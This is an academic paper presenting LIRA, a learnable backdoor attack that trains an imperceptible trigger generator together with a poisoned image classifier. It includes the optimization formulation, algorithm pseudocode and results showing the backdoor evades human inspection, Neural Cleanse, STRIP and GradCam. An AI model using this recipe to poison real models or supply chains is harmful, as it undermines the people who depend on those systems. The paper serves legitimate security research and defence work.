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Abstract
Recently, machine learning models have demonstrated to

be vulnerable to backdoor attacks, primarily due to the lack
of transparency in black-box models such as deep neural
networks. A third-party model can be poisoned such that
it works adequately in normal conditions but behaves mali-
ciously on samples with specific trigger patterns. However,
the trigger injection function is manually defined in most ex-
isting backdoor attack methods, e.g., placing a small patch
of pixels on an image or slightly deforming the image before
poisoning the model. This results in a two-stage approach
with a sub-optimal attack success rate and a lack of com-
plete stealthiness under human inspection.

In this paper, we propose a novel and stealthy back-
door attack framework, LIRA, which jointly learns the op-
timal, stealthy trigger injection function and poisons the
model. We formulate such an objective as a non-convex,
constrained optimization problem. Under this optimization
framework, the trigger generator function will learn to ma-
nipulate the input with imperceptible noise to preserve the
model performance on the clean data and maximize the at-
tack success rate on the poisoned data. Then, we solve
this challenging optimization problem with an efficient, two-
stage stochastic optimization procedure. Finally, the pro-
posed attack framework achieves 100% success rates in sev-
eral benchmark datasets, including MNIST, CIFAR10, GT-
SRB, and T-ImageNet, while simultaneously bypassing ex-
isting backdoor defense methods and human inspection.

1. Introduction
Machine learning models, especially deep neural net-

works (DNNs), have recently achieved state-of-the-art per-
formance in various applications and tasks, ranging from
conventional research topics such as computer vision [24,
22] and natural language processing [13, 16] to distant fields
such as games [44, 6], computational advertising [57, 54],
and structural biology [1, 14]. However, along with the evo-
lution, recent works have shown DNN models are vulnera-

ble to various categories of adversarial attacks [37, 46, 29],
which might be attributed to the lack of model trans-
parency and explainability. Among these attacks, evasion
attacks such as adversarial examples [7, 34] attempt to
fool a trained model by manipulating the inputs in the in-
ference phase, while causative attacks including poison-
ing [35, 43, 58] and backdoor attacks [32, 30, 10, 20] seek
to maliciously alter the model in the training phase.

Recently, the backdoor attack has attracted a lot of at-
tention. The increasing complexity of model building that
promoted training outsourcing and machine learning as a
service (MLaaS) has also yielded security deficiencies in
the supply chain [12, 55]. Existing literature on backdoor
attacks [32, 30, 10, 20] has demonstrated that by inject-
ing a backdoor trigger (usually a specific pattern such as
a small square) to a small portion of the training data, the
trained DNN induces misclassifications while facing inputs
with the presence of this trigger. In addition, the model be-
haves normally on clean inputs, which makes this type of
attack hard to detect. As this field of research has evolved,
the strength and capabilities of these attacks have increased,
leading to methodologies that work with stealthier trig-
gers [51] or compromise extended scenarios [4, 53].

Aligning with the research direction of adversarial ex-
amples [23, 33, 52], one property of interest for the back-
door attack is also to improve the fidelity of poisoned im-
ages that are used to inject the backdoor and hence reduce
the perceptual detectability by human observers. To this
end, several works have indeed adopted adversarial exam-
ple generation in crafting poisoned images that have im-
proved visual quality or indistinguishability from vanilla
training data [47, 26]. Blended and other novel trigger
patterns have also been investigated [30, 5, 31]. Still, al-
though the attacker carefully crafts the backdoor triggers
in these works before poisoning the model, their trigger
patterns can be detected by visual inspection. A very re-
cent work, WaNet [36], creates stealthier backdoor images
with manually designed warping transformation triggers
and achieves state-of-the-art results in both attack success
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Figure 1: Visualization of backdoor images from different methods. We use the examples from [36]. Images on top from left
to right: the original image, images generated by patch based BadNets [21], blended backdoor [10], sinusoidal strips based
backdoor (SIG) [5], reflection backdoor (ReFool) [31], warping based backdoor (WaNet) [36], and the proposed LIRA.
Bottom images are residual maps that are amplified by 2×. It is clear that the images generated by our method is natural and
undetectable, as seen in the residual. For further illustration, we present the residual that is amplified by 500× (rightmost).

rate and stealthiness against defense.
In this paper, we propose a novel framework that simul-

taneously “learns” to generate the perfect yet invisible trig-
ger and poisons the classifier. We first formulate the pro-
cess of finding the optimal trigger and the optimal classifier
in a constrained optimization problem. Then, we propose
an effective yet simple alternating stochastic optimization
process to solve such a problem. The algorithm allows us
to learn to generate the optimal trigger while successfully
poisoning the classifier whose performance on the clean
data is unchanged (compared to a vanilla classifier trained
only on clean data). Paired with a visually imperceptible
noise generation trigger function, the trigger patterns gener-
ated by our method are extremely difficult to detect, which
can successfully pass both the conducted human inspection
test (with a significant improvement over the existing back-
door attacks) and several backdoor defense mechanisms.
We showcase our backdoor images in Figure 1. We call
our method Learnable Imperceptible and Robust Backdoor
Attack (LIRA).

Our technical contributions are summarized below:

• We propose a novel non-convex, constrained opti-
mization problem, which unifies the process of gener-
ating the trigger patterns and poisoning the classifier.
To solve this problem, we propose an efficient stochas-
tic optimization algorithm that first alternates between
finding the optimal trigger function and the optimal
poisoned classifier in the highly non-linear parameter
space, then fine-tunes only the poisoned classifier.

• We propose a stealthy conditional trigger generation
function (also called the transformation function in
this work), which can generate remarkably stealthy
backdoor images whose residuals with respect to their
clean versions are only 1/1000-1/200x of the inputs.
As a result, our backdoor attack is visually impercep-

tible. One example is shown in Figure 1.

• Finally, we achieve state-of-the-art attack performance
and stealthiness against both human inspection and ex-
isting defense mechanisms.

2. Background
2.1. Backdoor Attacks

Previous works of backdoor injection have understood
the attack as the process of introducing malicious modifi-
cations to a model, f(·), trained to classify the dataset S.
These changes force an association with specific input trig-
gers, denoted as T (x), to the desired model output, namely
the target class, yt [21, 30, 3, 56]. The main methodolo-
gies used to inject this functionality into the model are con-
taminating the training data [10, 30], altering the training
algorithm [3], or overwriting/retraining the model parame-
ters [25, 17]. The trigger is either built on a perturbation on
the clean image [40] or warping-based [36] to activate the
backdoor. Note that patch-based triggers [21, 30] are a spe-
cial case of the perturbation-based approach, where a small
patch is superimposed on the images.

This work follows the direction of perturbation-based
methods to enhance the visual quality of poisoned images
and stealthiness against human inspection. To this end, the
trigger can be defined as

T (x) = x+ g(x), (1)

where g is an imperceptible noise generative model. In
essence, the adversarial goal is to force predictions of T (x)
to targeted behaviors while minimizing the model’s benign
loss function with respect to x.

Most patch-based triggers in the literature are perceptu-
ally visible such that the corresponding backdoor images
can be easily detected under human inspection. Several
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techniques have been proposed by prior works to improve
the stealthiness of backdoor attacks, including blended [10]
and dynamic [41] triggers, which are able to reduce the ef-
ficacy of backdoor detection mechanisms. The concept of
clean-label backdoor (i.e., poisoned images have labels that
are consistent with the model prediction) [49, 40, 5, 31]
has also been studied to bypass data sanitization or label
inspection. To further improve the stealthiness against hu-
man visual inspection, techniques from adversarial example
generation have also been adopted in crafting poisoned im-
ages [47, 26]. However, while enhancing the stealthiness,
these techniques suffer from a degraded success rate for
backdoor injection. For example, on MNIST, the success
rates of the attack in [26] are less than 75% for digit ‘3’ and
less than 70% for digit ‘2’. A recent work, WaNet, proposes
to use a small and smooth warping field in generating back-
door images, making the modification unnoticeable [36],
which we consider as the state-of-the-art in this direction of
research. While warping-based triggers are more difficult
to identify, they can still be visually detected in some cases,
given the still relatively large residual as shown Figure 1.

2.2. Backdoor Detection

Several categories of defensive mechanisms have been
developed in recent literature to counter backdoor attacks,
including detection [8, 48, 18, 45], input mitigation [32, 27],
model mitigation [28, 11, 50, 9, 38] approaches.

Detection-based methods aim at detecting malicious
training samples crafted to inject backdoor into the mod-
els by analyzing the model behavior. For example, acti-
vation values in the latent space [8] and predictions of per-
turbed images [18] have been shown to help detect potential
backdoor. Input mitigation methods attempt to remove the
trigger of inputs by altering or filtering the image so that
the model would still behave normally even the model is
injected with a backdoor (i.e., the backdoor would not be
activated) [32, 27]. In contrast to the above methods that
target a deployed model, the objective of the model miti-
gation methods is to alleviate the threat from backdoor at-
tacks before deployment. For example, fine-pruning [28]
utilizes DNN model pruning to eliminate redundant weights
or neurons based on the vanilla training set in the hope of
mitigating the potentially injected backdoor, while Neural
Cleanse [50] detects whether a trained model has been in-
jected backdoor by searching for possible trigger patches.

3. Threat Model
We consider the same threat model as in prior stud-

ies [10, 49, 40, 5] including the state-of-the-art WaNet [36],
which assumes the backdoor injection is performed at train-
ing and the adversary can have full access to the victim
model, including both structures and parameters. Then, the
poisoned model will be delivered to a victim customer or

deployed by the victim user. A successful backdoor attack
over an image classification task should produce malicious
behavior on images with the trigger, while otherwise work-
ing normally on clean images. However, in typical back-
door attacks, the poisoned images are visually inconsistent
with natural images, which can be easily identified by hu-
man observers. Besides, it is also desirable to hide the trig-
ger pattern during the backdoor injection, i.e., the poisoned
images do not reveal the trigger.

To this end, we propose a stronger backdoor attack where
the poisoned images are crafted from clean images with un-
noticeable modifications. We advance the state-of-the-art
by further enhancing the imperceptibility and robustness of
the backdoor attack.

4. Methodology
4.1. Problem Formulation

Consider the standard supervised classification task
where one hopes to learn a mapping function fθ : X −→ C
where X is the input domain and C is the set of target
classes. The task is to learn the parameters θ from the train-
ing dataset S = {(xi, yi) : xi ∈ X , yi ∈ C, i = 1, .., N}.

Following the standard training scheme of backdoor at-
tacks, the classifier is trained with the combination of the
clean and poisoned subsets of S. To create a poisoned
sample, a clean training sample (x, y) is transformed into
a backdoor sample (T (x), η(y)), where T is a backdoor
injection function (also called the transformation function)
and η is the target label function. When training f with the
clean and poison samples, we alter the behavior of f so that:

f(x) = y, f(T (x)) = η(y), (2)

for any pair of clean data x ∈ X and its corresponding label
y ∈ C. There are two commonly studied backdoor attack
settings: all-to-one and all-to-all. In all-to-one attack, the
label is changed to a constant target, i.e. η(y) = c; for
all-to-all attack, the true label is one-shifted, i.e. η(y) =
(y + 1) mod |C|. In existing works, the transformation
function T is selected before training f and fixed during the
training process of f .

The main focus of this paper is to simultaneously learn
the transformation T , parameterized by ξ, along with the
poisoned classifier f , parameterized by θ. T is modeled
as a conditional image transformation function; after train-
ing, T transforms a clean image x into a backdoor image
Tξ∗(x) which are imperceptibly different from x but forces
f to make an incorrect classification toward the target class
η(y). On the other hand, the trained classifier fθ∗ has sim-
ilar performance on the clean data as that of its vanilla ver-
sion (i.e., the same classifier trained only on the clean data),
but its prediction is modified toward the target class when-
ever it is under attack by the learned transformation function
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Figure 2: Training: in Stage I, we train both f and T ; in Stage II, we only fine-tune f using a learned T in Stage I. Backdoor
Attack: correctly classify clean samples while incorrectly classify the backdoor samples toward the specified target class.

Tξ∗(x). The primary advantage of simultaneously learning
such a conditional transformation function is that the su-
perimposed trigger patterns are different for different im-
ages, thus making the backdoor very difficult to be detected
while being optimal for the attack. In the next section, we
propose a constrained, non-linear optimization problem that
achieves these objectives. An illustration of the proposed
backdoor image generation scheme, along with the details
of the backdoor attack in LIRA, is described in Figure 2.

4.2. Learning to Backdoor

Consider the empirical risk minimization setting where
one hopes to minimize the following loss function on the
training data:

θ∗ = argmin
θ

N∑
i=1

L(fθ(xi), yi).

Our goal is to learn a transformation function Tξ : X −→ X
and a classification model fθ with the following constraints:
1) the clean image x and its corresponding backdoor image
T (x) are imperceptibly different; 2) the classifier simulta-
neously performs indifferently on x compared to the classi-
fier’s vanilla version, but changes its prediction on the back-
door image to the target class η(y).

Learning f and T simultaneously has some advantages.
First, the backdoor performance of T can be maximized on
a specific classifier f . Second, we can model T as a condi-
tional generative function where the generated trigger pat-
terns vary from image to image, thus making the backdoor
images difficult to be detected. Finally, the task of selecting
the optimal trigger becomes automated, making the back-
door design process more efficient in real-world settings.

We can now formalize the above task. Given the mix-
ing, scalar parameters α and β, a distance function d that
measures the visual difference between two images, and a

constant scalar threshold value ϵ that is selected to ensure
Tξ(x) is imperceptibly different from x, we solve the fol-
lowing constrained optimization problem:

min
θ

N∑
i=1

αL(fθ(xi), yi) + βL(fθ(Tξ∗(θ)(xi)), η(yi)) (3)

s.t. (i) ξ∗ = argmin
ξ

N∑
i=1

L(fθ(Tξ(xi)), η(yi))

(ii) d(T (x), x) ≤ ϵ

In the above problem, a learned classification model with
a specific parameter configuration θ is associated with an
optimal, stealthy backdoor transformation function, which
is trained to fool the model. The goal is to find the paired
optimal poisoned classification model fθ∗(ξ∗) and the op-
timal transformation function Tξ∗ such that fθ∗(ξ∗) makes
a correct prediction on clean data x but an incorrect pre-
diction toward the specified target class η(y) on the poison
data Tξ∗(x). The parameters α and β control the mixing
strengths of the loss signals from the clean and backdoor
data when training the classifier. In our experiments, we ob-
serve that if α is larger than β, the classifier’s performance
on the clean data quickly converges to the optimal perfor-
mance of the vanilla classifier. Conversely, when β is larger
than α, the classifier’s performance on the backdoor data
reaches the optimal value quickly. However, the backdoor
classifier still converges to the same optimal performances
on both the clean and backdoor samples in both cases. For
such reasons, we assume α = 0.5 and β = 0.5 in the re-
maining part of the paper.

The non-convex, constrained optimization in Equa-
tion (3) is challenging because of its non-linear constraint.
Fortunately, we can observe that the goal of T is to fool f .
Consider the decision boundary of the classifier f at some
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specific point (θ,ξ) in the parameter space. In a stochastic
optimization algorithm where T and f are neural networks,
updating T is equivalent to injecting “more difficult” poi-
soned data points into the training set to train the classifier.
These new backdoor samples cause the decision boundary
of the classifier to slightly shift to ensure that the classi-
fier works well on the backdoor data. Consequently, this
may worsen its previous performance on the clean data.
We can see that this adversarial game between f and T
is similar to the training of generative adversarial networks
(GANs) [19, 2, 15]. Similar to training GANs, we can up-
date f on both clean and adversarial data while updating T
only on adversarial data. However, also similar to GANs,
such rapid alternating-update scheme where an update of T
causes an update of f can either lead to a longer conver-
gence or cause the training process get stuck in a bad local
minima (e.g., when the backdoor attack loss quickly goes
to zero, it causes slow or saturated update of the classifier
on the clean data because it is hard for the classifier to im-
prove clean-data loss), especially if f or T is stronger than
the other.

To stabilize this training process, we first propose to up-
date the current backdoor data that is used to train f only
after a certain number of iterations k. Specifically, we up-
date f on clean data and poisoned data generated by the
current transformation function while collecting its update
trajectories, as shown in Figure 2. The update trajectories
are then used to update the T after a fixed number of it-
erations k. After that, we repeat this trial for m number
of times. Under this new training scheme, we find that the
classifier can still take a large number of steps to converge
to a good performance on both the clean data and back-
door; for example, while on MNIST, the poisoned classifier
can reach the optimal clean-data performance of the vanilla
classifier after several epochs, on other datasets, it fails to
converge to a good clean-data performance as that of the
corresponding vanilla classifier. This could be explained by
the fact that even training the vanilla classifier (i.e., clean-
data training only) already takes a significantly longer num-
ber of epochs to reach the optimal performance; e.g., 2 to
3 epochs to reach the optimal performance on MNIST but
several hundreds of epochs on the other datasets. Therefore,
we propose to use a two-stage training scheme: in Stage I,
we train f and T with the proposed alternating scheme for a
fixed number of trials; then in Stage II, we fine-tune only the
classifier f with both clean and backdoor data generated by
the learned transformation T in Stage I. The detailed train-
ing procedure is illustrated in Algorithm 1.

4.3. Stealthy Trigger Generator

Inspired by adversarial examples, we model the transfor-
mation as a perturbation on the input, as follows:

Tξ(x) = x+ gξ(x), ||gξ(x)||∞ ≤ ϵ ∀x (4)

Algorithm 1 LIRA Backdoor Attack Algorithm

Input:
(1) training samples S = {(xi, yi), i = 1, ..., N}
(2) number of iterations for training the classifier k
(3) number of trials m
(4) number of fine-tuning iterations n
(5) learning rate to train the classifier γf
(6) learning rate to train the transformation function γT
(7) batch size b
(8) LIRA parameters α and β

Output:
(1) learned parameters of transformation function ξ∗

(2) learned parameters of poisoned classifier θ∗

1: Initialize θ and ξ.
2: // Stage I: Update both f and T .
3: ξ̂ ← ξ, i← 0
4: repeat
5: j ← 0
6: repeat
7: Sample minibatch (x, y) from S

8: θ̂ ← θij − γf∇θi
j
(αL(fθi

j
(x), y)+

βL(fθi
j
(Tξ̂(x)), η(y)))

9: ξ̂ ← ξ̂ − γT∇ξ̂L(fθ̂(Tξ̂(x)), η(y))

10: θij+1 ← θij−γf∇θi
j
(αL(fθi

j
(x), y)+

βL(fθi
j
(Tξ(x)), η(y)))

11: j ← j + 1
12: until j = k
13: ξ ← ξ̂, i← i+ 1
14: until i = m
15: // Stage II: Fine-tuning f .
16: i← 0, θ0 ← θmk
17: repeat
18: Sample minibatch (x, y) from S
19: θi+1 ← θi − γf∇θi(αL(fθi(x), y) +

βL(fθi(Tξ(x)), η(y)))
20: i← i+ 1
21: until i = n

The generator function gξ takes an input x and generates
an artificially imperceptible noise on the same input space,
which guarantees the stealthiness of the backdoor attack.
We can design such generator function as an autoencoder
or the more complex U-Net architecture [39]. However, by
training the generator function and the classifier with the
proposed training algorithm, we observe that there is not
a significant performance difference between a simple au-
toencoder and U-Net.

Given the proposed generator function, ϵ controls the
stealthiness of the trigger-generating function. In practi-
cal settings, if ϵ is smaller than 0.01, there is typically no
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visible difference between the clean and perturbed images,
even on the gray-scale MNIST dataset. This formulation
of the transformation function formally makes our attack
a perturbation-based backdoor approach. Note that, under
this transformation function, the distance d is ℓ∞-norm on
the image-pixel space.

5. Experimental Results
5.1. Experimental Setup

We choose four widely-used datasets for backdoor poi-
soning attack study: MNIST, CIFAR10, GTSRB and Tiny
ImageNet (T-ImageNet). For the classifier f , we follow
the setting of WaNet [36] and consider a mixed of popu-
lar models: Pre-activation Resnet-18 [22] for CIFAR10 and
GTSRB datasets and Resnet-18 for T-ImageNet. For the
gray-scale MNIST dataset, we also employ the same CNN
model that is used by WaNet [36].

For the attack experiments, we compare our meth-
ods against the state-of-the-art backdoor attack method,
WaNet [36], since its generated backdoor is significantly
more stealthy and its attack success rates are significantly
better than those of prior perturbation-based attacks.

For the baseline WaNet, we train the networks using the
SGD optimizers. The initial learning rate is set to 0.01 with
a learning rate decay of 0.1 after every 100 epochs. For
other hyperparameters, we use the same values for all the
datasets, as suggested in [36]. For LIRA, we use the same
optimizer, learning rate, and number of epochs. We train
the classifier and the transformation function using the pro-
posed alternating update algorithm for 50 epochs where k
is the number of iterations in one epoch (Stage I), i.e., we
update the backdoor data which is used to train f after each
epoch. Then we continue to fine-tune only the classifiers as
described in Stage II for the remaining epochs. Note that
this setup results in LIRA’s training process with almost the
same training time as that of WaNet for each experiment.
We choose ϵ as small as 0.005 on all datasets to maintain the
stealthiness. Typically, the larger the value of ϵ is, the more
successful the backdoor attack; however, we observe that
there is no significant performance difference when we per-
form a grid search on values of ϵ in the range of 0.001 to 0.1.
Our implementation was based on the PaddlePaddle deep
learning platform.

5.2. Human Inspection Test

To evaluate the stealthiness of the backdoor attacks in
real-world settings, we perform a similar human inspection
test as proposed in [36]. Specifically, a human is trained
with the knowledge of the mechanism and characteristics
of the attack and acts as a backdoor defender. We randomly
select 25 images from the GSTRB dataset and create their
corresponding backdoor images for each backdoor method;

Images Patched Blended ReFool WaNet LIRA

Backdoor 8.7 1.4 2.3 38.6 60.8
Clean 6.1 10.1 13.1 17.4 40.0
Both 7.4 5.7 7.7 28.0 50.4

Table 1: Human Inspection Tests: Success Fooling Rates
(%) of Each Method.

this results in a dataset of 50 images. Finally, we have a
cohort of 40 human defenders to classify which images are
genuine. Effectively, there are 2,000 responses per method.

We present the percentages of incorrect answers as the
success fooling rates in Table 1. As can be observed, LIRA
has significantly higher success fooling rates than all other
perturbation-based attacks (Patched [20], Blended [10], Re-
Fool [31]) and the currently most stealthy warping-based at-
tack, WaNet, in the backdoor inputs. Furthermore, LIRA’s
stealthiness causes increasing confusion between the testers
when deciding whether an image is genuine for the clean
inputs. Essentially, deciding whether an input is a backdoor
becomes a random guess, as seen in the averaged fooling
rate of 50.4% (the case of “both” backdoor and clean im-
ages). This can be explained by the fact that even though
the defenders are trained with the knowledge of how LIRA
works, LIRA’s perturbed noise is so small that there is no
visual difference between the clean and backdoor images,
as can be seen in Figure 3. Furthermore, LIRA’s perturbed
noise is conditionally generated, thus varies from image to
image. These two properties of LIRA make its backdoor
images extremely difficult to be detected. In other backdoor
methods, there exist subtle properties that trained defenders
can detect. For example, in WaNet, a circle traffic sign is
not entirely round.

Figure 3: Distinguishable cases.

5.3. Attack Experiments

In this experiment, we first poison the classifier for each
compared backdoor attack method and calculate its accura-
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Figure 4: Original sample (first row). Backdoor sample (second row). Amplified residual 500× (third row).

Dataset
WaNet LIRA

Clean Attack Clean Attack

MNIST 0.99 0.99 0.99 1.00
CIFAR10 0.94 0.99 0.94 1.00
GTSRB 0.99 0.98 0.99 1.00
T-ImageNet 0.57 0.99 0.58 1.00

Table 2: Network Performance: All-to-one Attack.

cies on the clean images and poison images (with the de-
fined trigger). We train and evaluate the backdoor models
in both all-to-one and all-to-all settings.

The performance comparison between for the currently
state-of-the-art baseline method WaNet and LIRA are pre-
sented in Table 2 and Table 3 for the all-to-one and all-to-all
settings, respectively. As can be observed, on all datasets,
both WaNet and LIRA could classify the clean images with
similar accuracy as those of the vanilla classifiers trained
only on clean data (Clean). In the attack mode, WaNet and
LIRA have comparable success rates in all-to-one settings,
with LIRA having better performance. Specifically, LIRA
achieves 100% success rates in all datasets. In the all-to-all
setting, LIRA again achieves better attack success rates than
WaNet. Note that all-to-all attacks are more challenging
than all-to-one, especially on datasets with a large number
of labels such as T-ImageNet.

The result of LIRA is impressive given that the trans-
formed images are visually identical to the clean images,
as can be seen in the examples of Figure 4. Furthermore,
LIRA is the first perturbation-based method that achieves
both high visual stealthiness and attack success rate while
preserving the performance of the classifier on clean data.

5.4. Defense Experiments

In this section, we evaluate the backdoor-injected clas-
sifiers against popular defense mechanisms, including Neu-
ral Cleanse (model mitigation defense) [50], STRIP (detec-
tion based defense) [18], and GradCam (network visualiza-
tion) [42].

Dataset
WaNet LIRA

Clean Attack Clean Attack

MNIST 0.99 0.95 0.99 0.99
CIFAR10 0.94 0.93 0.94 0.94
GTSRB 0.99 0.98 0.99 1.00
T-ImageNet 0.58 0.58 0.58 0.59

Table 3: Network Performance: All-to-all Attack.

5.4.1 Model Mitigation Defense

We first evaluate the robustness of LIRA against Neural
Cleanse, a widely-used backdoor model mitigation method
based on the pattern optimization approach. Neural Cleanse
assumes that the backdoor trigger is patch-based, which
hence is suitable for evaluating the proposed method. For
each image label, Neural Cleanse identifies if there is a
patch pattern that produces a misclassification result to that
target label. If any class label yields a significantly smaller
pattern, Neural Cleanse considers it as a sign of a potential
backdoor. Neural Cleanse quantifies such deviation of the
optimal patch of each class label by using the Anomaly In-
dex metric. If the Anomaly Index is less than a threshold of
2 for a class, Neural Cleanse considers there is a backdoor
with this class as the target label.

The results of the vanilla classifier (clean), backdoor-
injected classifier by WaNet, and backdoor-injected classi-
fier by LIRA are presented in Figure 5. LIRA passes the
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Figure 5: Performance against Neural Cleanse.
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Neural Cleanse tests on all datasets. In some cases, specifi-
cally MNIST and CIFAR10, LIRA even achieves smaller
scores than those of the vanilla models. While WaNet’s
robustness against Neural Cleanse is unsurprising due to
the fact that WaNet is a warping-based attack while Neural
Cleanse is a patch-based detection mechanism, the result
of LIRA, which is based on a patch-based transformation
function, is impressive. Note that previously studied patch-
based attacks, such as BadNets, can be defended by Neural
Cleanse in most vision datasets.

5.4.2 Detection based Defense

We then evaluate the performance against STRIP [18], a
representative detection based backdoor defense mecha-
nism. Given the model and the input image, STRIP perturbs
the input image and determines the presence of a backdoor
in the model according to the entropy of the predictions of
these perturbed images (i.e., if the predictions are consis-
tent or not). The results are shown in Figure 6. With LIRA,
since each trigger pattern is conditioned on the image, it is
more likely that the perturbation operation of STRIP will
break such the trigger pattern (since the perturbed trigger,
g(x1) + g(x2) may not be the same as g(x1 + x2)). As
expected, LIRA has a similar entropy range as that of the
vanilla model (clean). Furthermore, LIRA’s entropy ranges
exhibit more consistency with the entropy ranges of the
clean model than WaNet’s entropy range (as reported on the
same datasets in [36]).
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Figure 6: Performance against STRIP.

5.4.3 Network Visualization

It is widely known that visualization tools, such as Grad-
Cam [42], are helpful in understanding the neural net-
work’s behavior. Thus, we also evaluate the behavior of
backdoor-injected models against such tools. Previously,

perturbation-based methods, especially patch-based meth-
ods such as BadNets [21], can be easily exposed due to the
use of obvious trigger patterns, which associate with dis-
tinctive latent representations from those of clean images.
Furthermore, in the previous study of WaNet [36], while the
visualization heat maps are more similar between the clean
and backdoor images, we can still see a small difference
between them. However, as observed in Figure 7, the visu-
alization heat maps generated on LIRA’s attacks are almost
the same between the clean and backdoor images. While
LIRA is also based on input perturbation, the image is gen-
erated from adding an extremely small perturbation to the
clean image; hence, the difference in the latent space where
the heat maps are generated is also minimal.

Figure 7: Performance under GradCam heat maps.

6. Conclusion
This work unifies the process of generating the trig-

ger patterns and poisoning the model under a single con-
strained optimization framework, called LIRA, in order to
learn stealthy, dynamic triggers that can successfully poi-
son a classify with unchanged performance on clean data
and high attack success rates. We then propose to solve
this non-convex constrained optimization problem with an
efficient stochastic alternating optimization algorithm. We
show that our backdoor attack not only is highly successful
with state-of-the-art attack success but also can pass both
the human visual inspection test and several machine de-
fense mechanisms. To the best of our knowledge, LIRA is
the first work that learns both the trigger function and the
poisoned classifier. For such reason, we think that interest-
ing to explore this framework with other types of trigger
functions. Finally, in this unified framework, it will be in-
teresting to explore and understand the relationship between
the trigger function and the poisoned classifier to advance
backdoor defense research.
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[35] Luis Muñoz-González, Battista Biggio, Ambra Demontis,
Andrea Paudice, Vasin Wongrassamee, Emil C. Lupu, and
Fabio Roli. Towards poisoning of deep learning algorithms
with back-gradient optimization. In Proceedings of the
10th ACM Workshop on Artificial Intelligence and Security
(AISec@CCS), pages 27–38, Dallas, TX, 2017. 1

[36] Tuan Anh Nguyen and Anh Tuan Tran. Wanet - impercep-
tible warping-based backdoor attack. In Proceedings of the
9th International Conference on Learning Representations
(ICLR), Virtual Event, Austria, 2021. 1, 2, 3, 6, 8

[37] Nicolas Papernot, Patrick McDaniel, Somesh Jha, Matt
Fredrikson, Z Berkay Celik, and Ananthram Swami. The

limitations of deep learning in adversarial settings. In Pro-
ceedings of the 2016 IEEE European Symposium on Secu-
rity and Privacy (IEEE Euro S&P), pages 372–387, Saar-
brucken, Germany, 2016. 1

[38] Ximing Qiao, Yukun Yang, and Hai Li. Defending neural
backdoors via generative distribution modeling. In Advances
in Neural Information Processing Systems (NeurIPS), pages
14004–14013, Vancouver, Canada, 2019. 3

[39] Olaf Ronneberger, Philipp Fischer, and Thomas Brox. U-
net: Convolutional networks for biomedical image segmen-
tation. In Proceedings of the 8th International Conference on
Medical Image Computing and Computer-Assisted Interven-
tion (MICCAI), Part III, pages 234–241, Munich, Germany,
2015. 5

[40] Aniruddha Saha, Akshayvarun Subramanya, and Hamed Pir-
siavash. Hidden trigger backdoor attacks. In Proceedings of
the Thirty-Fourth AAAI Conference on Artificial Intelligence
(AAAI), pages 11957–11965, New York, NY, 2020. 2, 3

[41] Ahmed Salem, Rui Wen, Michael Backes, Shiqing Ma, and
Yang Zhang. Dynamic backdoor attacks against machine
learning models. arXiv preprint arXiv:2003.03675, 2020.
3

[42] Ramprasaath R. Selvaraju, Michael Cogswell, Abhishek
Das, Ramakrishna Vedantam, Devi Parikh, and Dhruv Ba-
tra. Grad-cam: Visual explanations from deep networks via
gradient-based localization. In Procedings of the IEEE In-
ternational Conference on Computer Vision (ICCV), pages
618–626, Venice, Italy, 2017. 7, 8

[43] Ali Shafahi, W. Ronny Huang, Mahyar Najibi, Octavian Su-
ciu, Christoph Studer, Tudor Dumitras, and Tom Goldstein.
Poison frogs! targeted clean-label poisoning attacks on neu-
ral networks. In Advances in Neural Information Processing
Systems (NeurIPS), pages 6106–6116, Montréal, Canada,
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